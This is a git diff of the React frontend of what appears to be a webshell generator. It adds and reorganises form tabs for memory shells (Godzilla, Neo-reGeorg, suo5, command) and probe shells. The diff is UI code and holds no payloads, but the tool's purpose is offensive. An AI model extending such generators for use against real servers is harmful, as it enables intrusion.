a/web/src/components/memshell/tabs/classname-field.tsx b/web/app/components/memshell/tabs/classname-field.tsx similarity index 93% rename from web/src/components/memshell/tabs/classname-field.tsx rename to web/app/components/memshell/tabs/classname-field.tsx index 17fedcf8..0be5c3bc 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/app/components/memshell/tabs/classname-field.tsx @@ -2,13 +2,9 @@ import { Shuffle } from "lucide-react"; import { Fragment, useEffect, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { - FormField, - FormFieldItem, - FormFieldLabel, -} from "@/components/ui/form.tsx"; -import { Input } from "@/components/ui/input.tsx"; -import { Switch } from "@/components/ui/switch.tsx"; +import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; import type { MemShellFormSchema } from "@/types/schema.ts"; export function OptionalClassFormField({ @@ -66,7 +62,7 @@ export function OptionalClassFormField({ return (
    -
    +
    {t("mainConfig.randomClassName")}
    diff --git a/web/app/components/memshell/tabs/command-tab.tsx b/web/app/components/memshell/tabs/command-tab.tsx new file mode 100644 index 00000000..59b98aba --- /dev/null +++ b/web/app/components/memshell/tabs/command-tab.tsx @@ -0,0 +1,181 @@ +import { useQuery } from "@tanstack/react-query"; +import { ChevronDown, ChevronRight } from "lucide-react"; +import { useState } from "react"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { Card, CardContent } from "@/components/ui/card"; +import { + Collapsible, + CollapsibleContent, + CollapsibleTrigger, +} from "@/components/ui/collapsible"; +import { + FormControl, + FormField, + FormFieldItem, + FormFieldLabel, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { TabsContent } from "@/components/ui/tabs"; +import { env } from "@/config"; +import type { MemShellFormSchema } from "@/types/schema"; +import { OptionalClassFormField } from "./classname-field"; +import { ShellTypeFormField } from "./shelltype-field"; +import { UrlPatternFormField } from "./urlpattern-field"; + +export function CommandTabContent({ + form, + shellTypes, +}: Readonly<{ + form: UseFormReturn; + shellTypes: Array; +}>) { + const { t } = useTranslation(["memshell", "common"]); + const [isAdvancedOpen, setIsAdvancedOpen] = useState(false); + const { data } = useQuery<{ + encryptors: Array; + implementationClasses: Array; + }>({ + queryKey: ["commandConfigs"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/api/config/command/configs`); + return await response.json(); + }, + }); + + return ( + + + + +
    + + +
    + ( + + + {t("common:paramName")} {t("common:optional")} + + + + + + )} + /> + + + + {isAdvancedOpen ? ( + + ) : ( + + )} + {t("common:advancedConfig")} + + +
    + ( + + {t("common:encryptor")} + + + )} + /> + ( + + + {t("common:implementationClass")} + + + + )} + /> +
    + ( + + + {t("common:commandTemplate")} {t("common:optional")} + + + + +

    + {t("common:commandTemplate.description")} +

    +
    + )} + /> +
    +
    + + +
    +
    +
    +
    + ); +} diff --git a/web/src/components/memshell/tabs/custom-tab.tsx b/web/app/components/memshell/tabs/custom-tab.tsx similarity index 98% rename from web/src/components/memshell/tabs/custom-tab.tsx rename to web/app/components/memshell/tabs/custom-tab.tsx index afa0d18d..20d33dff 100644 --- a/web/src/components/memshell/tabs/custom-tab.tsx +++ b/web/app/components/memshell/tabs/custom-tab.tsx @@ -32,7 +32,7 @@ export default function CustomTabContent({ const { t } = useTranslation(["memshell", "common"]); const shellClassBase64 = form.watch("shellClassBase64"); const lastParsedBase64Ref = useRef(undefined); - const classNameEndpoint = `${env.API_URL}/className`; + const classNameEndpoint = `${env.API_URL}/api/className`; useEffect(() => { if (!shellClassBase64) { diff --git a/web/src/components/memshell/tabs/godzilla-tab.tsx b/web/app/components/memshell/tabs/godzilla-tab.tsx similarity index 100% rename from web/src/components/memshell/tabs/godzilla-tab.tsx rename to web/app/components/memshell/tabs/godzilla-tab.tsx diff --git a/web/src/components/memshell/tabs/neoreg-tab.tsx b/web/app/components/memshell/tabs/neoreg-tab.tsx similarity index 100% rename from web/src/components/memshell/tabs/neoreg-tab.tsx rename to web/app/components/memshell/tabs/neoreg-tab.tsx diff --git a/web/src/components/memshell/tabs/shelltype-field.tsx b/web/app/components/memshell/tabs/shelltype-field.tsx similarity index 96% rename from web/src/components/memshell/tabs/shelltype-field.tsx rename to web/app/components/memshell/tabs/shelltype-field.tsx index bad53130..4a46d695 100644 --- a/web/src/components/memshell/tabs/shelltype-field.tsx +++ b/web/app/components/memshell/tabs/shelltype-field.tsx @@ -5,14 +5,14 @@ import { FormField, FormFieldItem, FormFieldLabel, -} from "@/components/ui/form.tsx"; +} from "@/components/ui/form"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue, -} from "@/components/ui/select.tsx"; +} from "@/components/ui/select"; import type { MemShellFormSchema } from "@/types/schema.ts"; export function ShellTypeFormField({ diff --git a/web/src/components/memshell/tabs/suo5-tab.tsx b/web/app/components/memshell/tabs/suo5-tab.tsx similarity index 100% rename from web/src/components/memshell/tabs/suo5-tab.tsx rename to web/app/components/memshell/tabs/suo5-tab.tsx diff --git a/web/src/components/memshell/tabs/urlpattern-field.tsx b/web/app/components/memshell/tabs/urlpattern-field.tsx similarity index 91% rename from web/src/components/memshell/tabs/urlpattern-field.tsx rename to web/app/components/memshell/tabs/urlpattern-field.tsx index bb0e3aa3..7e7e1f90 100644 --- a/web/src/components/memshell/tabs/urlpattern-field.tsx +++ b/web/app/components/memshell/tabs/urlpattern-field.tsx @@ -5,8 +5,8 @@ import { FormFieldItem, FormFieldLabel, FormMessage, -} from "@/components/ui/form.tsx"; -import { Input } from "@/components/ui/input.tsx"; +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; import { shouldHidden } from "@/lib/utils"; import type { MemShellFormSchema } from "@/types/schema.ts"; diff --git a/web/app/components/probeshell/basic-info.tsx b/web/app/components/probeshell/basic-info.tsx new file mode 100644 index 00000000..3350c04b --- /dev/null +++ b/web/app/components/probeshell/basic-info.tsx @@ -0,0 +1,67 @@ +import { FileTextIcon } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { CopyableField } from "@/components/copyable-field"; +import { FeedbackAlert } from "@/components/memshell/results/feedback-alert"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import type { ProbeShellResult, ResponseBodyConfig } from "@/types/probeshell"; + +export function BasicInfo({ + generateResult, +}: Readonly<{ generateResult?: ProbeShellResult }>) { + const { t } = useTranslation(); + console.log(generateResult); + const isBodyContent = + generateResult?.probeConfig.probeMethod === "ResponseBody"; + const isBodyCommand = + isBodyContent && generateResult?.probeConfig.probeContent === "Command"; + return ( + + + +
    + + {t("common:basicInfo")} +
    + +
    +
    + +
    + {isBodyContent && ( + + )} + {isBodyCommand && + (generateResult?.probeContentConfig as ResponseBodyConfig) + .commandTemplate && ( + + )} + +
    +
    +
    + ); +} diff --git a/web/src/components/probeshell/main-config-card.tsx b/web/app/components/probeshell/main-config-card.tsx similarity index 85% rename from web/src/components/probeshell/main-config-card.tsx rename to web/app/components/probeshell/main-config-card.tsx index 6d8234f8..7cef8601 100644 --- a/web/src/components/probeshell/main-config-card.tsx +++ b/web/app/components/probeshell/main-config-card.tsx @@ -51,13 +51,12 @@ const MIDDLEWARE_OPTIONS = [ ] as const; const PROBE_METHOD_OPTIONS = [ - { value: "Sleep", label: "Sleep" }, - { value: "DNSLog", label: "DNSLog" }, { value: "ResponseBody", label: "ResponseBody" }, + { value: "DNSLog", label: "DNSLog" }, + { value: "Sleep", label: "Sleep" }, ] as const; const DEFAULT_FORM_VALUES = { - reqParamName: "payload", sleepServer: "Tomcat", seconds: 5, } as const; @@ -143,7 +142,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { name="reqParamName" render={({ field }) => ( - {t("common:paramName")} + + {t("common:paramName")} {t("common:optional")} + @@ -156,6 +157,34 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { [form.control, t], ); + const CommandTemplateField = useMemo( + () => ( +
    + ( + + + {t("common:commandTemplate")} {t("common:optional")} + + + + +

    + {t("common:commandTemplate.description")} +

    +
    + )} + /> +
    + ), + [form.control, t], + ); + const SleepFields = useMemo( () => (
    @@ -206,26 +235,6 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { [form.control, t], ); - const renderDynamicFields = useCallback(() => { - const isBodyMethod = watchedProbeMethod === "ResponseBody"; - const needParam = - watchedProbeContent === "Command" || - watchedProbeContent === "Bytecode" || - watchedProbeContent === "ScriptEngine"; - const isSleepMethod = watchedProbeMethod === "Sleep"; - const isServerContent = watchedProbeContent === "Server"; - - if (isBodyMethod && needParam) { - return RequestParamField; - } - - if (isSleepMethod && isServerContent) { - return SleepFields; - } - - return null; - }, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]); - const DNSLogSection = useMemo( () => ( ( -
    +
    )} /> + ( + + + + + + + )} + /> @@ -393,7 +427,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { {watchedProbeMethod === "DNSLog" && DNSLogSection} {watchedProbeMethod && ContentOptionsSelect} {SwitchGroup} - {renderDynamicFields()} + {isBodyMethod && needParam && RequestParamField} + {isBodyMethod && isCommandBody && CommandTemplateField} + {isSleepMethod && isServerContent && SleepFields} + + + + + + + + + + + ); +} diff --git a/web/src/components/tailwind-indicator.tsx b/web/app/components/tailwind-indicator.tsx similarity index 100% rename from web/src/components/tailwind-indicator.tsx rename to web/app/components/tailwind-indicator.tsx diff --git a/web/src/components/ui/alert-dialog.tsx b/web/app/components/ui/alert-dialog.tsx similarity index 56% rename from web/src/components/ui/alert-dialog.tsx rename to web/app/components/ui/alert-dialog.tsx index d82179e4..e49e426b 100644 --- a/web/src/components/ui/alert-dialog.tsx +++ b/web/app/components/ui/alert-dialog.tsx @@ -1,21 +1,34 @@ import { AlertDialog as AlertDialogPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { buttonVariants } from "@/components/ui/button"; import { cn } from "@/lib/utils"; -function AlertDialog({ ...props }: React.ComponentProps) { +function AlertDialog({ + ...props +}: React.ComponentProps) { return ; } -function AlertDialogTrigger({ ...props }: React.ComponentProps) { - return ; +function AlertDialogTrigger({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function AlertDialogPortal({ ...props }: React.ComponentProps) { - return ; +function AlertDialogPortal({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function AlertDialogOverlay({ className, ...props }: React.ComponentProps) { +function AlertDialogOverlay({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function AlertDialogContent({ + className, + ...props +}: React.ComponentProps) { return ( @@ -44,7 +60,10 @@ function AlertDialogContent({ className, ...props }: React.ComponentProps) { +function AlertDialogHeader({ + className, + ...props +}: React.ComponentProps<"div">) { return (
    ) ); } -function AlertDialogFooter({ className, ...props }: React.ComponentProps<"div">) { +function AlertDialogFooter({ + className, + ...props +}: React.ComponentProps<"div">) { return (
    ); } -function AlertDialogTitle({ className, ...props }: React.ComponentProps) { +function AlertDialogTitle({ + className, + ...props +}: React.ComponentProps) { return ( ) { - return ; +function AlertDialogAction({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); } -function AlertDialogCancel({ className, ...props }: React.ComponentProps) { - return ; +function AlertDialogCancel({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); } export { diff --git a/web/src/components/ui/alert.tsx b/web/app/components/ui/alert.tsx similarity index 68% rename from web/src/components/ui/alert.tsx rename to web/app/components/ui/alert.tsx index 8f1e1f97..ef36696a 100644 --- a/web/src/components/ui/alert.tsx +++ b/web/app/components/ui/alert.tsx @@ -1,5 +1,5 @@ import { cva, type VariantProps } from "class-variance-authority"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; @@ -19,21 +19,38 @@ const alertVariants = cva( }, ); -function Alert({ className, variant, ...props }: React.ComponentProps<"div"> & VariantProps) { - return
    ; +function Alert({ + className, + variant, + ...props +}: React.ComponentProps<"div"> & VariantProps) { + return ( +
    + ); } function AlertTitle({ className, ...props }: React.ComponentProps<"div">) { return (
    ); } -function AlertDescription({ className, ...props }: React.ComponentProps<"div">) { +function AlertDescription({ + className, + ...props +}: React.ComponentProps<"div">) { return (
    - ) + ); } function AvatarImage({ @@ -29,7 +29,7 @@ function AvatarImage({ className={cn("aspect-square size-full", className)} {...props} /> - ) + ); } function AvatarFallback({ @@ -41,11 +41,11 @@ function AvatarFallback({ data-slot="avatar-fallback" className={cn( "bg-muted flex size-full items-center justify-center rounded-full", - className + className, )} {...props} /> - ) + ); } -export { Avatar, AvatarImage, AvatarFallback } +export { Avatar, AvatarImage, AvatarFallback }; diff --git a/web/src/components/ui/badge.tsx b/web/app/components/ui/badge.tsx similarity index 64% rename from web/src/components/ui/badge.tsx rename to web/app/components/ui/badge.tsx index 25784f66..977a66c1 100644 --- a/web/src/components/ui/badge.tsx +++ b/web/app/components/ui/badge.tsx @@ -1,6 +1,6 @@ import { cva, type VariantProps } from "class-variance-authority"; import { Slot as SlotPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; @@ -9,11 +9,14 @@ const badgeVariants = cva( { variants: { variant: { - default: "border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90", - secondary: "border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90", + default: + "border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90", + secondary: + "border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90", destructive: "border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60", - outline: "text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground", + outline: + "text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground", }, }, defaultVariants: { @@ -27,10 +30,17 @@ function Badge({ variant, asChild = false, ...props -}: React.ComponentProps<"span"> & VariantProps & { asChild?: boolean }) { +}: React.ComponentProps<"span"> & + VariantProps & { asChild?: boolean }) { const Comp = asChild ? SlotPrimitive.Slot : "span"; - return ; + return ( + + ); } export { Badge, badgeVariants }; diff --git a/web/src/components/ui/breadcrumb.tsx b/web/app/components/ui/breadcrumb.tsx similarity index 78% rename from web/src/components/ui/breadcrumb.tsx rename to web/app/components/ui/breadcrumb.tsx index 9bb12d07..dcc4b4f1 100644 --- a/web/src/components/ui/breadcrumb.tsx +++ b/web/app/components/ui/breadcrumb.tsx @@ -1,6 +1,6 @@ import { ChevronRight, MoreHorizontal } from "lucide-react"; import { Slot as SlotPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; @@ -22,7 +22,13 @@ function BreadcrumbList({ className, ...props }: React.ComponentProps<"ol">) { } function BreadcrumbItem({ className, ...props }: React.ComponentProps<"li">) { - return
  • ; + return ( +
  • + ); } function BreadcrumbLink({ @@ -35,7 +41,11 @@ function BreadcrumbLink({ const Comp = asChild ? SlotPrimitive.Slot : "a"; return ( - + ); } @@ -43,7 +53,6 @@ function BreadcrumbPage({ className, ...props }: React.ComponentProps<"span">) { return ( ) { ); } -function BreadcrumbSeparator({ children, className, ...props }: React.ComponentProps<"li">) { +function BreadcrumbSeparator({ + children, + className, + ...props +}: React.ComponentProps<"li">) { return (
  • ) { +function BreadcrumbEllipsis({ + className, + ...props +}: React.ComponentProps<"span">) { return ( ; + return ( + + ); } export { Button, buttonVariants }; diff --git a/web/src/components/ui/card.tsx b/web/app/components/ui/card.tsx similarity index 52% rename from web/src/components/ui/card.tsx rename to web/app/components/ui/card.tsx index a8fc56ae..d37bfafa 100644 --- a/web/src/components/ui/card.tsx +++ b/web/app/components/ui/card.tsx @@ -1,4 +1,4 @@ -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; @@ -6,7 +6,10 @@ function Card({ className, ...props }: React.ComponentProps<"div">) { return (
    ); @@ -26,31 +29,64 @@ function CardHeader({ className, ...props }: React.ComponentProps<"div">) { } function CardTitle({ className, ...props }: React.ComponentProps<"div">) { - return
    ; + return ( +
    + ); } function CardDescription({ className, ...props }: React.ComponentProps<"div">) { - return
    ; + return ( +
    + ); } function CardAction({ className, ...props }: React.ComponentProps<"div">) { return (
    ); } function CardContent({ className, ...props }: React.ComponentProps<"div">) { - return
    ; + return ( +
    + ); } function CardFooter({ className, ...props }: React.ComponentProps<"div">) { return ( -
    +
    ); } -export { Card, CardHeader, CardFooter, CardTitle, CardAction, CardDescription, CardContent }; +export { + Card, + CardHeader, + CardFooter, + CardTitle, + CardAction, + CardDescription, + CardContent, +}; diff --git a/web/src/components/ui/checkbox.tsx b/web/app/components/ui/checkbox.tsx similarity index 88% rename from web/src/components/ui/checkbox.tsx rename to web/app/components/ui/checkbox.tsx index b258844c..90a71741 100644 --- a/web/src/components/ui/checkbox.tsx +++ b/web/app/components/ui/checkbox.tsx @@ -1,10 +1,13 @@ import { CheckIcon } from "lucide-react"; import { Checkbox as CheckboxPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function Checkbox({ className, ...props }: React.ComponentProps) { +function Checkbox({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function ContextMenu({ + ...props +}: React.ComponentProps) { return ; } -function ContextMenuTrigger({ ...props }: React.ComponentProps) { - return ; +function ContextMenuTrigger({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function ContextMenuGroup({ ...props }: React.ComponentProps) { - return ; +function ContextMenuGroup({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function ContextMenuPortal({ ...props }: React.ComponentProps) { - return ; +function ContextMenuPortal({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function ContextMenuSub({ ...props }: React.ComponentProps) { +function ContextMenuSub({ + ...props +}: React.ComponentProps) { return ; } -function ContextMenuRadioGroup({ ...props }: React.ComponentProps) { - return ; +function ContextMenuRadioGroup({ + ...props +}: React.ComponentProps) { + return ( + + ); } function ContextMenuSubTrigger({ @@ -52,7 +75,10 @@ function ContextMenuSubTrigger({ ); } -function ContextMenuSubContent({ className, ...props }: React.ComponentProps) { +function ContextMenuSubContent({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function ContextMenuContent({ + className, + ...props +}: React.ComponentProps) { return ( ); } -function ContextMenuSeparator({ className, ...props }: React.ComponentProps) { +function ContextMenuSeparator({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function ContextMenuShortcut({ + className, + ...props +}: React.ComponentProps<"span">) { return ( ); diff --git a/web/src/components/ui/dialog.tsx b/web/app/components/ui/dialog.tsx similarity index 69% rename from web/src/components/ui/dialog.tsx rename to web/app/components/ui/dialog.tsx index ddb9b472..9c9e754b 100644 --- a/web/src/components/ui/dialog.tsx +++ b/web/app/components/ui/dialog.tsx @@ -1,26 +1,37 @@ import { XIcon } from "lucide-react"; import { Dialog as DialogPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function Dialog({ ...props }: React.ComponentProps) { +function Dialog({ + ...props +}: React.ComponentProps) { return ; } -function DialogTrigger({ ...props }: React.ComponentProps) { +function DialogTrigger({ + ...props +}: React.ComponentProps) { return ; } -function DialogPortal({ ...props }: React.ComponentProps) { +function DialogPortal({ + ...props +}: React.ComponentProps) { return ; } -function DialogClose({ ...props }: React.ComponentProps) { +function DialogClose({ + ...props +}: React.ComponentProps) { return ; } -function DialogOverlay({ className, ...props }: React.ComponentProps) { +function DialogOverlay({ + className, + ...props +}: React.ComponentProps) { return ( ) { return (
    ); } -function DialogTitle({ className, ...props }: React.ComponentProps) { +function DialogTitle({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function DialogDescription({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function DropdownMenu({ + ...props +}: React.ComponentProps) { return ; } -function DropdownMenuPortal({ ...props }: React.ComponentProps) { - return ; +function DropdownMenuPortal({ + ...props +}: React.ComponentProps) { + return ( + + ); } -function DropdownMenuTrigger({ ...props }: React.ComponentProps) { - return ; +function DropdownMenuTrigger({ + ...props +}: React.ComponentProps) { + return ( + + ); } function DropdownMenuContent({ @@ -36,8 +49,12 @@ function DropdownMenuContent({ ); } -function DropdownMenuGroup({ ...props }: React.ComponentProps) { - return ; +function DropdownMenuGroup({ + ...props +}: React.ComponentProps) { + return ( + + ); } function DropdownMenuItem({ @@ -89,8 +106,15 @@ function DropdownMenuCheckboxItem({ ); } -function DropdownMenuRadioGroup({ ...props }: React.ComponentProps) { - return ; +function DropdownMenuRadioGroup({ + ...props +}: React.ComponentProps) { + return ( + + ); } function DropdownMenuRadioItem({ @@ -128,13 +152,19 @@ function DropdownMenuLabel({ ); } -function DropdownMenuSeparator({ className, ...props }: React.ComponentProps) { +function DropdownMenuSeparator({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function DropdownMenuShortcut({ + className, + ...props +}: React.ComponentProps<"span">) { return ( ); } -function DropdownMenuSub({ ...props }: React.ComponentProps) { +function DropdownMenuSub({ + ...props +}: React.ComponentProps) { return ; } diff --git a/web/src/components/ui/form.tsx b/web/app/components/ui/form.tsx similarity index 78% rename from web/src/components/ui/form.tsx rename to web/app/components/ui/form.tsx index cd8c35b2..50bbc10d 100644 --- a/web/src/components/ui/form.tsx +++ b/web/app/components/ui/form.tsx @@ -1,4 +1,4 @@ -import { Label as LabelPrimitive, Slot as SlotPrimitive } from "radix-ui"; +import { type Label as LabelPrimitive, Slot as SlotPrimitive } from "radix-ui"; import * as React from "react"; import { Controller, @@ -21,7 +21,9 @@ type FormFieldContextValue< name: TName; }; -const FormFieldContext = React.createContext({} as FormFieldContextValue); +const FormFieldContext = React.createContext( + {} as FormFieldContextValue, +); const FormField = < TFieldValues extends FieldValues = FieldValues, @@ -63,14 +65,20 @@ type FormItemContextValue = { id: string; }; -const FormItemContext = React.createContext({} as FormItemContextValue); +const FormItemContext = React.createContext( + {} as FormItemContextValue, +); function FormItem({ className, ...props }: React.ComponentProps<"div">) { const id = React.useId(); return ( -
    +
    ); } @@ -80,12 +88,19 @@ function FormFieldItem({ className, ...props }: React.ComponentProps<"div">) { return ( -
    +
    ); } -function FormLabel({ className, ...props }: React.ComponentProps) { +function FormLabel({ + className, + ...props +}: React.ComponentProps) { const { error, formItemId } = useFormField(); return ( @@ -99,7 +114,10 @@ function FormLabel({ className, ...props }: React.ComponentProps) { +function FormFieldLabel({ + className, + ...props +}: React.ComponentProps) { const { error, formItemId } = useFormField(); return ( @@ -113,14 +131,21 @@ function FormFieldLabel({ className, ...props }: React.ComponentProps) { - const { error, formItemId, formDescriptionId, formMessageId } = useFormField(); +function FormControl({ + ...props +}: React.ComponentProps) { + const { error, formItemId, formDescriptionId, formMessageId } = + useFormField(); return ( @@ -149,7 +174,12 @@ function FormMessage({ className, ...props }: React.ComponentProps<"p">) { } return ( -

    +

    {body}

    ); diff --git a/web/src/components/ui/input.tsx b/web/app/components/ui/input.tsx similarity index 96% rename from web/src/components/ui/input.tsx rename to web/app/components/ui/input.tsx index d263de5a..b2aaa77d 100644 --- a/web/src/components/ui/input.tsx +++ b/web/app/components/ui/input.tsx @@ -1,4 +1,4 @@ -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; diff --git a/web/src/components/ui/label.tsx b/web/app/components/ui/label.tsx similarity index 77% rename from web/src/components/ui/label.tsx rename to web/app/components/ui/label.tsx index 7c733afd..68aaba0c 100644 --- a/web/src/components/ui/label.tsx +++ b/web/app/components/ui/label.tsx @@ -1,9 +1,12 @@ import { Label as LabelPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function Label({ className, ...props }: React.ComponentProps) { +function Label({ + className, + ...props +}: React.ComponentProps) { return ( {children} @@ -26,24 +29,37 @@ function NavigationMenu({ ); } -function NavigationMenuList({ className, ...props }: React.ComponentProps) { +function NavigationMenuList({ + className, + ...props +}: React.ComponentProps) { return ( ); } -function NavigationMenuItem({ className, ...props }: React.ComponentProps) { +function NavigationMenuItem({ + className, + ...props +}: React.ComponentProps) { return ( - + ); } const navigationMenuTriggerStyle = cva( - "group inline-flex h-9 w-max items-center justify-center rounded-md bg-background px-4 py-2 text-sm font-medium hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=open]:hover:bg-accent data-[state=open]:text-accent-foreground data-[state=open]:focus:bg-accent data-[state=open]:bg-accent/50 focus-visible:ring-ring/50 outline-none transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1", + "group inline-flex h-9 w-max items-center justify-center rounded-md px-4 py-2 text-sm font-medium hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=open]:hover:bg-accent data-[state=open]:text-accent-foreground data-[state=open]:focus:bg-accent data-[state=open]:bg-accent/50 focus-visible:ring-ring/50 outline-none transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1", ); function NavigationMenuTrigger({ @@ -66,7 +82,10 @@ function NavigationMenuTrigger({ ); } -function NavigationMenuContent({ className, ...props }: React.ComponentProps) { +function NavigationMenuContent({ + className, + ...props +}: React.ComponentProps) { return ( ) { return ( -
    +
    ) { +function NavigationMenuLink({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function Popover({ + ...props +}: React.ComponentProps) { return ; } -function PopoverTrigger({ ...props }: React.ComponentProps) { +function PopoverTrigger({ + ...props +}: React.ComponentProps) { return ; } @@ -33,7 +37,9 @@ function PopoverContent({ ); } -function PopoverAnchor({ ...props }: React.ComponentProps) { +function PopoverAnchor({ + ...props +}: React.ComponentProps) { return ; } diff --git a/web/src/components/ui/radio-group.tsx b/web/app/components/ui/radio-group.tsx similarity index 72% rename from web/src/components/ui/radio-group.tsx rename to web/app/components/ui/radio-group.tsx index 3a1101bc..5a951e18 100644 --- a/web/src/components/ui/radio-group.tsx +++ b/web/app/components/ui/radio-group.tsx @@ -1,14 +1,26 @@ import { CircleIcon } from "lucide-react"; import { RadioGroup as RadioGroupPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function RadioGroup({ className, ...props }: React.ComponentProps) { - return ; +function RadioGroup({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); } -function RadioGroupItem({ className, ...props }: React.ComponentProps) { +function RadioGroupItem({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function ScrollArea({ + className, + children, + ...props +}: React.ComponentProps) { return ( - + ) { +function Select({ + ...props +}: React.ComponentProps) { return ; } -function SelectGroup({ ...props }: React.ComponentProps) { +function SelectGroup({ + ...props +}: React.ComponentProps) { return ; } -function SelectValue({ ...props }: React.ComponentProps) { +function SelectValue({ + ...props +}: React.ComponentProps) { return ; } @@ -46,6 +52,7 @@ function SelectContent({ className, children, position = "popper", + align = "center", ...props }: React.ComponentProps) { return ( @@ -59,6 +66,7 @@ function SelectContent({ className, )} position={position} + align={align} {...props} > @@ -77,7 +85,10 @@ function SelectContent({ ); } -function SelectLabel({ className, ...props }: React.ComponentProps) { +function SelectLabel({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function SelectItem({ + className, + children, + ...props +}: React.ComponentProps) { return ( ) { +function SelectSeparator({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function SelectScrollUpButton({ + className, + ...props +}: React.ComponentProps) { return ( @@ -136,7 +160,10 @@ function SelectScrollDownButton({ return ( diff --git a/web/src/components/ui/separator.tsx b/web/app/components/ui/separator.tsx similarity index 94% rename from web/src/components/ui/separator.tsx rename to web/app/components/ui/separator.tsx index 1a697663..5c1d40a1 100644 --- a/web/src/components/ui/separator.tsx +++ b/web/app/components/ui/separator.tsx @@ -1,5 +1,5 @@ import { Separator as SeparatorPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; diff --git a/web/src/components/ui/sonner.tsx b/web/app/components/ui/sonner.tsx similarity index 81% rename from web/src/components/ui/sonner.tsx rename to web/app/components/ui/sonner.tsx index 1481dd84..eac0c448 100644 --- a/web/src/components/ui/sonner.tsx +++ b/web/app/components/ui/sonner.tsx @@ -1,5 +1,5 @@ -import { Toaster as Sonner, ToasterProps } from "sonner"; -import { useTheme } from "../theme-provider"; +import { useTheme } from "next-themes"; +import { Toaster as Sonner, type ToasterProps } from "sonner"; const Toaster = ({ ...props }: ToasterProps) => { const { theme } = useTheme(); diff --git a/web/src/components/ui/switch.tsx b/web/app/components/ui/switch.tsx similarity index 88% rename from web/src/components/ui/switch.tsx rename to web/app/components/ui/switch.tsx index 0adc26f6..4d2c3221 100644 --- a/web/src/components/ui/switch.tsx +++ b/web/app/components/ui/switch.tsx @@ -1,9 +1,12 @@ import { Switch as SwitchPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function Switch({ className, ...props }: React.ComponentProps) { +function Switch({ + className, + ...props +}: React.ComponentProps) { return ( ) { return ( -
    - +
    +
